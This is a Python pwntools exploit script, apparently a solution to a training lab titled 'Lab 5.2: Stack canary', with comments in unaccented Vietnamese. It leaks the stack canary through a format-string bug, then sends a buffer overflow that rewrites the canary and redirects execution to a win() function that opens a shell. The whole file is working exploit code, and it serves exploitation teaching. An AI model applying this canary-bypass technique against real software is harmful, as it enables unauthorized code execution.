#!/usr/bin/env python3
# Lab 5.2: Stack canary.
# Buoc 1: leak canary qua lo format string (printf(buf)). Canary nam o format
#         offset 15 (do bang cach ban %6$p..%16$p, tim gia tri 8 byte ket thuc 00).
# Buoc 2: overflow lan hai. Layout (do bang gdb/disas vuln):
#         buf = rbp-0x50, canary = rbp-0x8  => buf toi canary = 0x48 = 72 byte.
#         Ghi LAI dung canary de qua epilogue, roi saved RBP (8), roi saved RIP.
#         win() goi system nen chen 1 gadget `ret` can stack 16 byte truoc win.
from pwn import *

context.binary = elf = ELF('./lab', checksec=False)
context.log_level = 'info'

def conn():
    return remote('host', 1337) if args.REMOTE else process('./lab')

io = conn()

# --- Buoc 1: leak canary ---
# Boc trong dau :: de parse chac chan (buf khong duoc null-terminate sau input
# nen sau leak co the con rac stack; delimiter cat dung cho).
io.sendafter(b'echo> ', b'::%15$p::')
io.recvuntil(b'::')
canary = int(io.recvuntil(b'::', drop=True), 16)
log.success(f'canary = {hex(canary)}')
assert canary & 0xff == 0, 'byte thap nhat phai la 00, neu khac la leak sai o'

# --- Buoc 2: overflow, ghi lai dung canary ---
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]        # can stack 16 byte truoc system

offset_buf_to_canary = 72                 # do bang cyclic/gdb: buf=rbp-0x50, canary=rbp-0x8
payload  = b'A' * offset_buf_to_canary
payload += p64(canary)                    # canary dung cho -> qua epilogue
payload += b'B' * 8                        # saved RBP
payload += p64(ret)                        # can alignment 16 byte
payload += p64(elf.sym['win'])             # saved RIP -> win()
io.sendafter(b'lan 2> ', payload)

# cho banner win() roi moi gui lenh (tranh race send som)
io.sendlineafter(b'Shell:\n', b'echo ===SHELL_OK===; id; exit')
print(io.recvall(timeout=3).decode(errors='replace'))